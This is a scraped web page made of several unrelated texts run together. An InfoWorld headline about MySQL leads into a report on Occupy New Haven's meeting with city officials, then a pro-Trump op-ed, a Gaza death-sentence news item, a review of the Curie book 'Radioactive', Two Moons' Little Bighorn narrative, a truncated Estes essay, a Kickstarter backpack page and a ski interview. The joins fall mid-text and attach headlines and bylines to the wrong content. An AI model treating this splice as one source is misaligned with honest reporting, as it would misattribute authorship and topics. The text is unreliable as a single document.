This article, "The future of MySQL according to Oracle," was originally published at InfoWorld.com. Follow the latest developments in business technology news and get a digest of the key stories each day in the InfoWorld Daily newsletter and on your mobile device at infoworldmobile.com.by Thomas MacMillan | Feb 16, 2012 8:12 am
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Posted to: Downtown, Occupy Wall Street
New Haven Occupiers finally came face to face with the private power in charge of the New Haven Green, and took part in a public discussion—with consequences for the movement’s future—about what it means for people to freely enjoy the park.
The pow-wow came Wednesday afternoon in a City Hall meeting room, where members of Occupy New Haven sat down with city officials and Drew Days, the head of the 370-year-old group that controls the Green.
The group is called the Proprietors of the New Haven Green. Since 1641 the private self-perpetuating body has owned the public green space at the heart of New Haven.
That green space has, since October of last year, been the home of an encampment of protestors called Occupy New Haven. It’s one of the last remaining manifestations of the Occupy Wall Street movement which swept across the nation last fall. Occupiers have an amorphous anti-corporate agenda that includes an end to income inequality and the removal of money from politics.
While occupations elsewhere in the country have fizzled out or been run out by cops, Occupy New Haven is still going strong. That’s in part because New Haven city government and the city’s occupiers developed a cooperative relationship from the start.
Wednesday’s discussion—which followed a similar meeting last week—is part of a process that’s putting the relationship to the test.
At issue: Will the occupation last indefinitely on the Green? Will it—or should it—scale back to coexist with upcoming spring and summer events on the Green?
At the previous meeting, city officials and occupiers discussed moving the camp to another location in the city. They also spoke about the possibility of shrinking the camp’s footprint temporarily during times when other groups may want to use the Green.
Occupiers also asked to speak with a proprietor.
On Wednesday, occupiers returned to City Hall with a consensus that the occupation will not surrender the Green, but is willing to entertain whatever proposals the city may have.
And they got a chance to talk to a proprietor: Drew Days. He’s not your historic caricature of a Puritan-Descended Town Father Proprietor. Days is the group’s first-ever African-American member. (Yes, it took more than three centuries. Even women belong now, too.) He is a lifelong civil-rights activist and Yale law professor. He served as former President Clinton’s solicitor general and as assistant attorney general for civil rights in the Carter Administration.
A discussion ensued about the concept of free enjoyment of the Green that doesn’t impede other people’s free enjoyment.
That’s the baseline for deciding what activities are permitted on the Green, Drew Days said. Occupiers said their enjoyment is not exclusive, that theirs is a safe and friendly encampment. City Chief Administrative Officer Rob Smuts said that’s not necessarily the way everyone sees them.
The meeting ended with an agreement that the city, in consultation with the proprietors, will come up with a proposal for what should happen to the occupation. The occupiers will then consider the pitch and formulate a response. Smuts promised to have a proposal soon.
The meeting was preceded by a pre-parley pow-wow at Occupy New Haven. Some 20 occupiers circled in the center of the camp to decide on their strategy for the City Hall meeting.
One woman cautioned against taking an offer of other land from the city. “I don’t think it’s a good idea to take any offers from the 1 percent.”
“If we take land it’s going to split the camp, because I’m opposed,” said another woman.
“Fuck them!” urged a man.
No swearing in the official meeting, occupier Ray Neal reminded him.
After a few minutes, occupier Ina Staklo offered a summation. The consensus is “we want to keep this camp” but Occupy is willing to consider other land for expansion purposes, she said.
At noon, the group headed across the Green and climbed the steps of City Hall. Smuts met them at the door to a second-floor meeting room, where the group was joined by representatives from the parks department, the Yale and city police departments, the fire department, and Days.
Neal opened the meeting. “We are staying where we are,” he announced. To move would undermine the very definition of the protest, which is about holding public space until change is effected, he said.
“As it stands right now... there’s an incompatibility,” Smuts said. The occupation as it is is not compatible with other uses of the Green. “But we respect that this is a political protest.”
“We’re in complete solidarity with the people of New Haven,” said Neal.
Even if your intent is to welcome everyone, “they don’t feel that,” said Smuts.
“I don’t feel comfortable walking down streets owned by Yale,” Neal said.
“The answer is not to turn the Green into a mirror image,” Smuts said. Two wrongs don’t make a right.
New Haven has hundreds of organizations that would love to have a permanent booth on the Green, Smuts said. “At some point it has to be common space for the people of New Haven.”
The Occupy movement “not just another non-profit” said occupier Yoni Miller (pictured). “It’s something that has captivated 80 countries across the world.”
Miller was one of several occupiers to stress that the Occupy movement comprises, by definition, all people who are not among the wealthiest 1 percent. “It’s a group not for the 99 percent, but of the 99 percent. To talk about Occupy as separate from New Haven is a paradox.”
But New Haven has 130,000 people; not all of them are camping on the green, Smuts replied.
Asked for specific complaints, Smuts said people have said they don’t feel comfortable walking through the green with the occupation there. “They feel outnumbered by people they don’t know.” Others have complained that the camps doesn’t look “orderly” or safe. Merchants have griped about the occupation. “In some cases you hear, ‘When do we get our Green back,’” Smuts said.
“Where’s The Hill?
Some people could say, “We don’t feel comfortable walking through the Hill. Let’s evict the Hill,” remarked occupier Donald Montano.
“What’s the Hill?” asked another occupier.
“Somewhere you don’t want to go,” another replied.
The difference is that the Green is public space, Smuts responded.
A Record Encampment
Days, the head proprietor, spoke for the first time. “We see ourselves as holding the Green in trust for the citizens,” he said. Uses of the Green are limited only if they “interfere with other people’s enjoyment” of the space, he said.
Occupy’s enjoyment of the Green has lasted longer than any other group, Days said. The previous record was a one-week encampment organized to as a political statement about homelessness.
When someone wants to “sit on the bench” and “think great thoughts” about one’s life and family and career, with the occupation there, “it is an interference,” Days said.
It’s not because of Occupy’s agenda, Days stressed. The proprietors have no antagonism towards Occupy per se, he said. The Occupation is “making good points,” but “not to the extent that it prevents the full use of the Green.”
But people are free to go anywhere on the Green, including into the occupation, said David Elkin-Ginnetti. “We invite people to come in and join us.”
The First Amendment protects people’s right to speak freely, but it also means you can’t interfere with other people’s rights, like mobility, Days said. “You can say, ‘you can come and visit my tent,’ but that’s not part of being a free citizen of New Haven.”
Former Alderman Allan Brison raised what he called the “elephant in the room”: Yale will be “apoplectic” if the occupation is there come graduation. Smuts denied that Yale plays any part in the matter.
If Gandhi and Martin Luther King had stopped what they were doing because people felt uncomfortable, “nothing would have changed at all,” said Josh Heltke.
Ty Hailey said the occupation would work on being “more inviting.”
The meeting ended with a promise by Smuts to confer with the proprietors and come up with a proposal to submit to Occupy New Haven.
“We’re all waiting to hear what you really have to say,” Neal said.If the 2016 presidential election were actually about genuine political policies, Donald Trump would defeat Hillary Clinton in one of the biggest landslides of all time. But the mainstream media--with, alas, considerable help from Donald himself--has made it about anything but.
Nevertheless, we shouldn't let those disgracefully biased, born again-bluenoses of the Newswoisie or Donald's obvious neurotic need to respond to anything and everything deter us from examining the proposals in his Saturday speech at Gettysburg.
That speech put forth some of the more intelligent and creative ideas to be before the American public in years. These proposals, contained in what Trump calls his "Contract with the American Voter," deserve to be heard and seriously debated in these last weeks before the election.
Undoubtedly the Newswoisie will do their best to squelch them, panicked that some innocent citizen might deign to compare Trump's "Contract" to the unremitting banality and moral vacuousness ("please see my website") of the Hillary Clinton campaign. But it is our duty -- all of us -- to expose this "Contract" to as many people as possible and give the American public a chance to consider it, even if their so-called "thought leaders" do their best to obscure it.
Let's first examine what the Daily Mail calls Trump's "anti-corruption to-do list" from the "Contract":
1. Constitutional Amendment to impose term limits on members of Congress 2. Hiring freeze on federal employees to reduce the workforce through attrition 3. Requirement to eliminate two federal regulations for every new one 4. Five-year-ban on White House and Congressional officials becoming lobbyists 5. Lifetime ban on White House officials lobbying for foreign governments 6. Complete ban on foreign lobbyists raising money for American election
Term limits is nothing new, of course, but Trump's packaging it with these other proposals undermines the longtime criticism of such an amendment -- that Congressional term limits would leave the unelected lifers in the bureaucracy with all the power, able to wreak more havoc than they already do. Trump wants to cut back their numbers through a freeze, diminishing their strength through attrition. More than that, he adds a stricture that for every new regulation they propose, two must be eliminated. How smart is that!
The ban on various kinds of lobbying, foreign and domestic, by "retired" public officials is also an idea whose time has come. Would all this come to pass if Trump were elected? It's hard to say, but when he states this is the first moment in years in which real change is possible, he's telling the truth. If not now, when? In fact, if not now, maybe not for another millennium -- and maybe not here, in the USA.
The second part of his "Contract" has seven proposals to protect the American worker.
One and two concern trade -- his well-known desire to renegotiate NAFTA and his equally well-known opposition to TPP (publicly adopted by Clinton, but privately abhorred by her, according to WikiLeaks). I don't know much of the details of our trade deals, but if they were negotiated anywhere near as abysmally as our foreign policy deals (Iran, North Korea), they certainly merit reconsideration.
The third, with which I am less impressed, is his intention to brand China as a currency manipulator. I'm not sure that's the best approach, but who knows? The fourth, however, is an extremely worthwhile proposal for the U.S. secretary of Commerce and the U.S. trade representative to take hard legal lines against the trade abuses that hurt our workers.
Five, six and seven speak for themselves:(File)
GAZA CITY (Ma'an) -- A military court in Gaza City sentenced two men to death on Sunday after they were found guilty of
alleged
drug dealing.
It reportedly marked the first time that the death penalty was used in Gaza for a drug-related offense, though a number of Palestinians have been sentenced to death in recent months after being found guilty of collaborating with Israel or of murder.
In a press conference in Gaza City, spokesman of the Hamas-run Ministry of Interior Iyad al-Buzm said that the first "convict" was sentenced to death by firing squad, and the second by hanging.
The first man, an officer in the Palestinian Authority's preventive security service, was allegedly caught near the southern border of the Gaza Strip in possession of 40 boxes of the synthetic opiate Tramadol -- known as Tramal in Gaza -- containing some 3,985 pills, according to al-Buzm.
Al-Buzm described the second man as a "fugitive on the run," who was allegedly caught with a bag containing "a large quantity" of Tramadol, cannabis, and opium that was purchased near the southern border with Egypt.
Although illegal without a prescription in some regions, Tramadol is relatively easy to obtain in Gaza, either with fake prescriptions from pharmacies or on the black market. Thousands of boxes of Tramadol make their way to Gazans through smuggling tunnels along the Egyptian border, with reports of Hamas cracking down on the drug amid high rates of addiction in the small Palestinian territory.
Times of Israel newspaper reported that Gaza's Interior Ministry said 400,000 Tramadol pills had been seized in the besieged coastal enclave since the beginning of the year, as well as 1,250 packages of hashish, while a uthorities have seized drugs with a street value of around $1 million over the past few months.
The ministry reportedly blamed Israel for the epidemic, saying it authorities were working to protect “Palestinian society from various dangers through which the Israeli occupation and the enemies of our people target (Palestinian) society.”
What Israel “failed to achieve through war and siege, it will not succeed to do through spreading drugs,” the statement said.
“Anyone who deals drugs, his crime is no less than those who spy for the (Israeli) occupation; their goal is the same: to destroy Palestinian society,” it added.
Several Palestinians have been executed in Gaza after Hamas-affiliated members of the Palestinian Legislative Council in Gaza approved the enforcement of death sentences last year.
Senior Hamas leader Ismail Haniyeh announced at the time that 13 Palestinians had been sentenced to death by Gaza courts and would be executed as soon as possible.
Under Palestinian law, willful, premeditated murder and treason as well as collaboration with the enemy -- usually Israel -- are punishable by death. However, all death sentences must be ratified by the Palestinian president before they can be carried out.
Despite this, the Hamas de facto administration in Gaza has carried out executions periodically without receiving approval from President Mahmoud Abbas since 2010.
After a Gaza court sentenced a Palestinian man to death earlier this month for the premeditated murder of his wife, the European Union Representative and the EU Heads of Mission in Jerusalem and Ramallah condemned the sentence and reiterated their "firm opposition under all circumstances to the use of capital punishment."
"The de facto authorities in Gaza must refrain from carrying out any executions of prisoners and comply with the moratorium on executions put in place by the Palestinian Authority, pending abolition of the death penalty in line with the global trend," the statement said.Ms. Redniss is the author of a previous book called “Century Girl: 100 Years in the Life of Doris Eaton Travis, Last Living Star of the Ziegfield Follies” (2006), and as an artist she has contributed to the New York Times Op-Ed page. She made many of the images in “Radioactive” using a process called cyanotype printing, in which a drawing is, through a chemical process that involves sunlight, turned into a kind of glowing negative of the original.
She employed cyanotype printing because she wanted to capture, she writes, “what Marie Curie called radium’s ‘spontaneous luminosity.’ ” (Ms. Redniss also invented a typeface for her book, based on title pages of manuscripts in the New York Public Library.)
Photo
In addition to her own drawings, “Radioactive” is filled with archival images. One page is a copy of the first X-ray image ever made; another is a copy of a declassified F.B.I. document; another is a series of photographs taken after the 1979 Three Mile Island nuclear reactor meltdown, described as showing mutant roses that have become sterile. All this material is woven seamlessly into the wider narrative.
Woven in seamlessly, too, are interpolatory sections that leap forward to explore the modern ramifications of the Curies’ research. For example, Pierre pressed crystals along their axes to produce an electric charge called piezoelectricity. About this, Ms. Redniss writes: “Mechanisms that depend on piezoelectricity are found today propelling the droplets in inkjet printers, regulating time in quartz watches, controlling the shrill wail of smoke detectors, turning the adjustable lenses of autofocus cameras” and “acting as the pickups in electric guitars.”
“Radioactive” finds its soul in the Curies’ love story. They met at the Sorbonne, where he was a teacher, and she a student. After their marriage, life and work blended together. “They co-signed their published findings,” Ms. Redniss writes. “Their handwritings intermingle in their notebooks.”
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The book is awash with curious details. At a dinner party Pierre unveiled a small, glowing cylinder of radium for their guests. Marie took to sleeping with a jar of it by her pillow. “Radioactivity had made the Curies immortal,” Ms. Redniss writes. “Now it was killing them.”
Ms. Redniss writes well about how, a few years after Pierre died in 1906 after being run over by a horse-drawn carriage, Marie began an affair with a married scientist. One newspaper called the ensuing scandal “the greatest sensation in Paris since the theft of the Mona Lisa.”
When Marie Curie won her second Nobel Prize, this affair was still fresh, and the Nobel committee suggested that it might be best if she skipped the ceremony. Albert Einstein was among those who supported her.
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“The steps that you advise seem to me a grave error,” she replied to the Swedes. “There is no connection between my scientific work and the facts of private life.” The book is also quite good on Marie Curie’s career nursing France’s wounded during World War I. Her mobile X-ray labs were called “petites Curies.” Ms. Redniss writes, “No longer were doctors performing blind exploratory surgeries on already damaged bodies.”
Ms. Redniss’s good taste fails her exactly once, when she writes that Marie Curie “passed away,” rather than merely died, in 1934. The official cause of death was “aplastic pernicious anemia.” She had been ill for a long time. She chronicled her own deterioration, noting the “crisis and pus.”
“Radioactive” is serious science and brisk storytelling. The word “luminous” is a critic’s cliché, to be avoided at all costs, but it fits Ms. Redniss’s book pretty snugly. This is a story with a hefty half-life. As Ms. Redniss notes about the Curies’ laboratory notebooks, held in the Bibliothèque Nationale in Paris, they are “still radioactive, setting the Geiger counters clicking 100 years on.”The Battle of the Little Bighorn,
Narrated by an Indian Who Fought in It
by Two Moons (Cheyenne; June 25, 1876)
The Black Hills region of the Dakotas was recognized as inviolable Indian land by the federal government. But the onset of a gold rush there in 1874-75 led the administration of President Ulysses S. Grant to decide that it would he easier to contrive a war against the Indians and seize the land than it would be to oust the white intruders. The campaign of 1876 was commanded by Generals George Crook and Alfred Terry. General George A. Custer and his 7th Cavalry arrived at the huge Sioux encampment in eastern Montana, and there he hoped to achieve fame and advancement by defeating the Indians.
That spring [1876] I was camped on Powder River with fifty lodges of my people—Cheyennes. The place is near what is now Fort McKenney. One morning soldiers charged my camp. They were in command of Three fingers [Colonel McKenzie]. We were surprised and scattered, leaving our ponies. The soldiers ran all our horses off. That night the soldiers slept, leaving the horses one side; so we crept up and stole them back again. and then we went away.
We traveled far. and one day we met a big camp of Sioux at Charcoal Butte. We camped with the Sioux, and had a good time, plenty grass, plenty game, good water. Crazy Horse was head chief of the camp. Sitting Bull was camped a little ways below, on the Little Missouri River.
Crazy Horse said to me, "I'm glad you are come. We are going to fight the white man again."
The camp was already full of wounded men, women, and children.
I said to Crazy Horse, "All right. I am ready to fight. I have fought already. My people have been killed, my horses stolen; I am satisfied to fight."
I believed at that time the Great Spirits had made Sioux, put them there [he drew a circle to the right], and the white men and Cheyennes here [indicating two places to the left], expecting them to fight. The Great Spirits I thought liked to see the fight; it was to them all the same like playing. So I thought then about fighting.
About May, when the grass was tall and the horses strong, we broke camp and started across the country to the mouth of the Tongue River. Then Sitting Bull and Crazy Horse and all went up the Rosebud. There we had a big fight with General [George] Crook, and whipped him. Many soldiers were killed—few Indians. It was a great fight, much smoke and dust.
From there we all went over the divide, and camped in the valley of Little Horn. Everybody thought, "Now we are out of the white man's country. He can live there, we will live here." After a few days, one morning when I was in camp north of Sitting Bull, a Sioux messenger rode up and said, "Let everybody paint up, cook, and get ready for a big dance."
Cheyennes then went to work to cook, cut up tobacco, and get ready. We all thought to dance all day. We were very glad to think we were far away from the white man.
I went to water my horses at the creek, and washed them off with cool water, then took a swim myself. I came back to the camp afoot. When I got near my lodge, I looked up the Little Horn towards Sitting Bull's camp. I saw a great dust rising. It looked like a whirlwird. Soon Sioux horsemen came rushing into camp shouting: "Soldiers come! Plenty white soldiers."
I ran into my lodge, and said to my brother-in-law, "Get your horses; the white man is coming. Everybody run for horses."
Outside, far up the valley, I heard a battle cry, Hay-ay, hay-ay! I heard shouting, too, this way [clapping his hands very fast]. I couldn't see any Indians. Everybody was getting horses and saddles. After I had caught my horse, a Sioux warrior came again and said, "Many soldiers are coming."
Then he said to the women, "Get out of the way, we are going to have hard fight."
I said, "All right, I am ready."
I got on my horse, and rode out into my camp. I called out to the people all running about: "I am Two Moon, your chief. Don't run away. Stay here and fight. You must stay and fight the white soldiers. I shall stay even if I am to be killed."
I rode swiftly toward Sitting Bull's camp. There I saw the white soldiers fighting in a line. Indians covered the flat. They began to drive the soldiers all mixed up—Sioux, then soldiers, then more Sioux, and all shooting. The air was full of smoke and dust. I saw the soldiers fall back and drop into the river-bed like buffalo fleeing. They had not time to look for a crossing. The Sioux chased them up the hill, where they met more soldiers in wagons, and then messengers came saying more soldiers were going to kill the women, and the Sioux turned back. Chief Gall was there fighting. Crazy Horse also.
I then rode toward my camp, and stopped squaws from carrying off lodges. While I was sitting on my horse I saw flags come up over the hill to the east like that [he raised his finger-tips]. Then the soldiers rose all at once, all on horses, like this [he put his fingers behind each other to indicate that Custer appeared marching in columns of fours]. They formed into three bunches [squadrons] with a little ways between. Then a bugle sounded, and they all got off horses, and some soldiers led the horses back over the hill.
Then the Sioux rode up the ridge on all sides, riding very fast. The Cheyennes went up the left way. Then the shooting was quick, quick. Pop-pop-pop very fast. Some of the soldiers were down on their knees, some standing. Officers all in front. The smoke was like a great cloud, and everywhere the Sioux went the dust rose like smoke. We circled all round him—swirling like water round a stone. We shoot, we ride fast, we shoot again. Soldiers drop, and horses fall on them. Soldiers in line drop, but one man rides up and down the line—all the time shouting. He rode a sorrel horse with white face and white fore-legs. I don't know who he was. He was a brave man.
Indians keep swirling round and round, and the soldiers killed only a few. Many soldiers fell. At last all horses killed but five. Once in a while some man would break out and run toward the river, but he would fall. At last about a hundred men and five horsemen stood on the hill all bunched together. All along the bugler kept blowing his commands. He was very brave too. Then a chief was killed. I hear it was Long Hair [Custer], I don't know; and then the five horsemen and the bunch of men, may be [about] forty, started toward the river. The man on the sorrel horse led them, shouting all the time. He wore a buckskin shirt, and had long black hair and mustache. He fought hard with a big knife. His men were all covered with white dust. I couldn't tell whether they were officers or not. One man all alone ran far down toward the river, then round up over the hill. I thought he was going to escape, but a Sioux fired and hit him in the head. He was [a sergeant] the last man. He wore braid on his arms.
All the soldiers were now killed, and the bodies were stripped. After that no one could tell which were officers. The bodies were left where they fell. We had no dance that night. We were sorrowful.
Next day four Sioux chiefs and two Cheyennes and I, Two Moon, went upon the battlefield to count the dead. One man carried a little bundle of sticks. When we came to dead men, we took a little stick and gave it to another man, so we counted the dead. There were 388. There were thirty-nine Sioux and seven Cheyennes killed and about a hundred wounded.
Some white soldiers were cut with knives, to make sure they were dead; and the war women had mangled some. Most of them were left just where they fell. We came to the man with the big mustache; he lay down the hills towards the river. The Indians did not take his buckskin shirt. The Sioux said, "That is a big chief. That is Long Hair." I don't know. I had never seen him. The man on the white-faced horse was the bravest man.
That day as the sun was getting low our young men came up the Little Horn riding hard. Many white soldiers were coming in a big boat, and when we looked we could see the smoke rising. I called my people together, and we hurried up the Little Horn, into Rotten Grass Valley. We camped there three days, and then rode swiftly back over our old trail to the east. Sitting Bull went back into the Rosebud and down the Yellowstone, and away to the north. I did not see him again.
Source: McClure's Magazine, September, 1898We Were Made For These Times
Clarissa Pinkola Estes
My friends, do not lose heart. We were made for these times. I have heard from so many recently who are deeply and properly bewildered. They are concerned about the state of affairs in our world now. Ours is a time of almost daily astonishment and often righteous rage over the latest degradations of what matters most to civilized, visionary people. You are right in your assessments. The lustre and hubris some have aspired to while endorsing acts so heinous against children, elders, everyday people, the poor, the unguarded, the helpless, is breathtaking. Yet, I urge you, ask you, gentle you, to please not spend your spirit dry by bewailing these difficult times. Especially do not lose hope. Most particularly because, the fact is that we were made for these times. Yes. For years, we have been learning, practicing, been in training for and just waiting to meet on this exact plain of engagement. I grew up on the Great Lakes and recognize a seaworthy vessel when I see one. Regarding awakened souls, there have never been more able vessels in the waters than there are right now across the world. And they are fully provisioned and able to signal one another as never before in the history of humankind. Look out over the prow; there are millions of boats of righteous souls on the waters with you. Even though your veneers may shiver from every wave in this stormy roil, I assure you that the long timbers composing your prow and rudder come from a greater forest. That long-grained lumber is known to withstand storms, to hold together, to hold its own, and to advance, regardless. In any dark time, there is a tendency to veer toward fainting over how much is wrong or unmended in the world. Do not focus on that. There is a tendency, too, to fall into being weakened by dwelling on what is outside your reach, by what cannot yet be. Do not focus there. That is spending the wind without raising the sails. We are needed, that is all we can know. And though we meet resistance, we more so will meet great souls who will hail us, love us and guide us, and we will know them when they appear. Didn't you say you were a believer? Didn't you say you pledged to listen to a voice greater? Didn't you ask for grace? Don't you remember that to be in grace means to submit to the voice greater? Ours is not the task of fixing the entire world all at once, but of stretching out to mend the part of the world that is within our reach. Any small, calm thing that one soul can do to help another soul, to assist some portion of this poor suffering world, will help immensely. It is not given to us to know which acts or by whom, will cause the critical mass to tip toward an enduring good. What is needed for dramatic change is an accumulation of acts, adding, adding to, adding more, continuing. We
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(if you don't know what this is that's okay if you do, you know how cool it is).
Custom designed Brushed Metal Zipper Pulls - they feel good.
Example of Storage Space - Large Main Storage Compartment with 2 x Large 2 Liter Coke Bottles
Example of Laptop Space -Laptop Compartment with a Apple Powerbook 17 Inch inside (39cmx26cmx2.5cm)
Example of Laptop Space -Laptop Compartment with a MacBook Pro 15 Inch inside(36cmx 25cmx2.5cm)
Protect Pocket is a hard case pocket designed for Sunglasses
The routing system with 3 cables routed to pockets
Dedicated Easy Access Tablet Pocket with velvety blue fabric liner
The battery is powerful enough to charge a tablet to almost full charge
Trolley Slot allows you to slide bag over your roller bag handle
Close up of the back padding which is 50% more than most backpacks
Close up of the "V" padding in the straps used to provide extra cusion and prevent sagging
The Pass thru ports on the left and right side of the bag allow you to walk/text and charge your phone at the same time
Backpack stuff with Giant textbook, 5 magazines, medium size notebook, and 2 medium sized hard cover books
Backpack stuffed with giant textbook, 5 magazines, medium size notebook, and 2 mediuim sized hard cover books
The "Cargo"
side profile
The backpack will stand when set on a flat surface
Video showing FLY Thru Capabilities of Energi Backpack
Video Showing how many books will fit in the Energi Backpack
BONUS PLEDGE PRODUCTS
$149 Pledge Bonus YCharge 2.1A USB Car Charger - you pick your color
Bonus Special Limited Edition Red Zumo available with $179 Pledge
Bonus TYLT Energi Wall Charger with 1800mAh battery and USB port with $199 Pledge
BONUS TYLT TUNZ Bluetooth Speaker with $249 Pledge
What's next:
During the KickStarter Campaign we will continue testing and finalize the production process.
If we are funded - We will jump on a plane immediately and head to North China for pre-production. Batteries are complete (we built these with our own funds to ensure fast production). The backpacks are ready to go into production once we know how many we need to produce.
April 15-19 - Pre Production Run - Battery Delivery and Quality Control testing review. Our team will be on the ground to supervise. We will produce a maximum of 500 units to ensure production is perfect. Once approved we will move to full production the following week.
April 22-May 3 - Production of backpack in North China and shipment to Hong Kong for Assembly in our 3rd party warehouse. The battery and backpack are made in two different factories, we need to combine them at a 3rd warehouse in Hong Kong. Final quality control inspection before shipment.
May 4 - May 24 - Product is shipped to our US distributor. To keep cost down we will ship the first production run via Ocean, that will take 20 days.
May 24 - May 31 - Our Kickstarter supporters products will be shipped for deliver in the first week of June. We truly believe that we will be ontime, in fact we think we may be able to deliver early.
Schedule from Funding to Delivery
FAQ's
Q. How does it work?
A. Energi Backpack uses Lithium-Ion batteries found in most portable devices. Those batteries output a 5V USB charge that is used to charge most typical portable electronics. It's a portable charging station!!
Q. What size laptops will it accomadate?
A. Actual Laptop sleeve dimesions are 13.5 in x 11 in x 1.75 in but it will accommodate larger laptops as the top of the laptop sleeve has an open end and adjustable security strap.
Q: How much stuff will fit in the main compartment?
A: Interior dimensions of empty main compartment are: 11in wide x 12in tall x 4in deep
Q: What size sunglasses will fit in the Protect Pocket
A: Most sunglasses will fit, as we designed around some of the larger styles. The sunglass area of the Protect Pocket measures 1.6 in x 2.2 in x 5.7 in (4 cm x 5.5 cm x 14.5 cm)
Q: Will the backpack hold books?
A: The Energi+ Backpack has a large main compartment that can be used for book storage. When empty, the available book storage area is approx. 11 in x 10 in x 3 in (28 cm x 25 cm x 8 cm). The laptop compartment can also be used for book or laptop storage.
Q: What are the exterior dimensions of the Energi Backpack?
A: Width: 13.5 in (34 cm) / Height: 19.5 in (49 cm) - Including handle / Depth: 9 in (23 cm) excluding shoulder straps or 13 in (33 cm) including shoulder straps
Q: How much does Energi Backpack weigh?
A: The backpack and battery together weigh about 4.5 pounds (2 kg)
Q: How many devices can the ENERGI battery charge at once
A: It can charge up to 3 devices at once
Q: Will the battery charge my laptop?
A: No, it is designed to charge tablets, smartphones, music players and other mobile devices
Q: How long will the backpack's battery take to recharge?
A: About 7-8 hours using a 2 Amp USB charger (Using lower amperage chargers will increase charging times)
Q: Is there any harm in charging the ENERGI battery without fully discharging it first?
A: There is no harm charging it without fully discharging it. We use excellent quality lithium-ion cells which do not have the memory effect.
Q: Is there any harm leaving it charging overnight?
A: There is no harm to continue to charge our products even though it's fully charged. The ENERGI battery will tell the charger it is fully charged and the charger will stop charging it
Q: Do I have to register the product for the warranty to take effect?
A: No!
Q. Are there other colors available?
A. For the initial production run we are going with Black with Blue highlights and zippers
Q. How fast will my device(s) charge when plugged into the Energi Backpack?
A. Just as fast as plugging your device(s) into the wall.
Q. How long will the Energi Battery stay charged?
A. The battery will stay charged for at least 6 months
Q.Will the battery get hot and will I feel it on my back?
A. The battery will generate heat when charging, but it only gets warm. The battery was placed in the middle of the backpack so you will never feel the warmth.
Q. Is the Backpack waterproof?
A. No, the Energi Backpack is not Waterproof.
Q. Can I use my own charging cable with Energi Backpack?
A. Yes you can use your any USB cable, any device that can charge via USB can be plugged into the Energi.
Q. Does the Backpack come with Apple Lightning Cables?
A. No, it comes with 2 micro USB and one Micro USB/30 Pin cable as shown above. We do show Lightning cables in the video, but we do not include them with the backpack. You can use your own lightning cables with the backpack.
Q. Is the backpack MFI (Made for iPad/iPhone) approved.
A. Yes it is, we are a member of MFI and have Apple Approval
Q. Can the Energi Battery be removed and replaced?
A. Yes, the battery can be easily removed, and it can be replaced. We will sell replacment batteries on our website.
Q. Can I charge two devices at the same time?
A. Yes, you can even charge 3 items at the same time.
Q. What is the best way to charge my devices using the Energi Backpack?
A. For optimal charging speed, use the 2.1Amp ports to charge tablets. Smaller devices may use either of the 1Amp ports.
Q. When does the Energi Battery begin to lose capacity?
After 500 FULL cycles, not just 500 charges to another device. We’re talking full drains. The Energi Backpack contains a premium lithium-ion battery. There are cheap imitators out there with cheaper components that do not really hold up to what they say.
Q. Do you provide international AC adapters?
No. We found there are too many types of adapters to include for this project alone. Instead, we built the TYLT Energi Backpack to be universal via USB. This means that you can use any country’s AC adapter with a micro USB connector to charge the battery
Q. Do I add the shipping fee to the pledge amount or is it charged later?
A. Please add the shipping fee to your pledge total.
If you did not do so, click the "Back this Project" button again and it should take you to a screen where you can edit your original pledge amount to include the cost of shipping.
Q. Why don't your offer the "Energi Wall Charger Bonus" Pledge for International customers?
A. The Energi Wall Charging product has US Plugs and therefore cannot be used easily in other countries.
Q. When is my bank account charged for pledging?
Only when our project is successfully funded.As 2014 began, the ski world lit up when an edit dropped that quickly gained traction with skiers all over the world. The Euro-based crew from Likebomb released its first episode of the year—“Sh*t-F*ck Skiing”—and the edit left viewers reeling in its wake.
While most were nursing New Year’s Eve hangovers, Photo courtesy of Tecnica/Blizzard
Give us a little backstory about yourself.
I grew up skiing in Sweden in a town that’s probably a lot like the East Coast in the US, but even smaller. Our mountain was only about 200–300 vertical meters, so you could only have a FIS GS race and not much more. I never skied park that much, just went straight from ski racing to freeride. After a three-month trip traveling around the States and skiing, I came back to Sweden and was doing demolition work and asbestos cleaning for almost five years to finance spending winters in Engelberg.
Did you guys set out to film “shit-fuck conditions?”
The goal was to film cold, preseason blower pow in the Alps, but it looked bad when Erik Henriksson, the filmer, and I arrived in Engleberg. After a couple of days we talked about rebooking the trip and coming back when it was better. But, we decided that since skiing is always fun we should ski like we do everyday and shoot it. Of course we all love skiing pow, but I like to ski in all conditions. Normally, you don’t have a filmer when the skiing is like that. We just tried to make the best of what we had.
Yep--Johan skis this. POV footage compliments of the man himself.
Has there been pow out there or is it as bad as it looks in the edit?
I was in Engleberg early in the season (around November) when Jacob Wester was filming his series “ Possibly the best POV footage you'll ever see.
Have you been surprised by the response to the first Likebomb edit?
It's pretty unbelievable how bananas things went online. I didn't see it coming at all. It was really unexpected, this publicity. I remember the first text I received from the filmer. He wrote, “Cool… 1200 views and counting.” We were psyched to see people sharing it. It’s not like we thought we were sitting on this super cool edit. We didn’t have any idea how people would respond when we released it. But, we’re so stoked that they like it. I was reading the TGR forum and blushing…
The social media buzz about your edit has been crazy. Have you been engaging with people?
It’s so funny to watch the social media updates when conditions aren’t good in mountain towns, because it goes from desperation to claiming in one day. I have responded a couple of times by asking if I’m destined to ski ice for the rest of my life.
Yep--Johan can also ski powder. Photo compliments of Tecnica/Blizzard.
What’s the plan moving forward with Likebomb this season? Are we going to see more edits?
This blew up pretty big, and it makes me nervous to think about how to proceed. The plan from the beginning has always been to make five or six edits this year. We have some trips to different destinations booked. As I wrote on the EpicTV page for this episode, we are going to try to do different stuff. I hope we can surprise people and do something that they do not expect. I think that’s why this blew up because no one would film in these conditions, most people aren’t even skiing, they’re just staying home because the conditions are too bad.
You were a part of the most recent Sweetgrass film, “Valhalla” What was it like working with them? And, whose idea was it to ski naked?
The Sweetgrass guys are great people. They’re special people in a good way. They have their own way of being, and they aren’t searching for likes. I lived in their house in Nelson, BC for about a month last year, and it was probably the driest month they’ve had up there. The nude idea sounded quite fun, and we had a few sessions of nude skiing. They’re total free spirits and it was really great to be a part of their mission.
Johan bashing pillows in Vahalla. Photo by Jesse Hoffman and courtsey of Tecnica/Blizzard.
Those shit-fuck conditions look a lot like some freeride comps. Have you ever competed in big-mountain skiing?
I did some comps years ago and they were fun, but it didn’t seem like the thing for me. To ski a face someone else picks for you in conditions that might be bad got me a bit nervous.
You talk a lot about doing things “different.” From that online magazine to an edit that got everybody talking to a webisode that’s looking to surprise people. Where are you finding inspiration to do things in a new and fresh way?
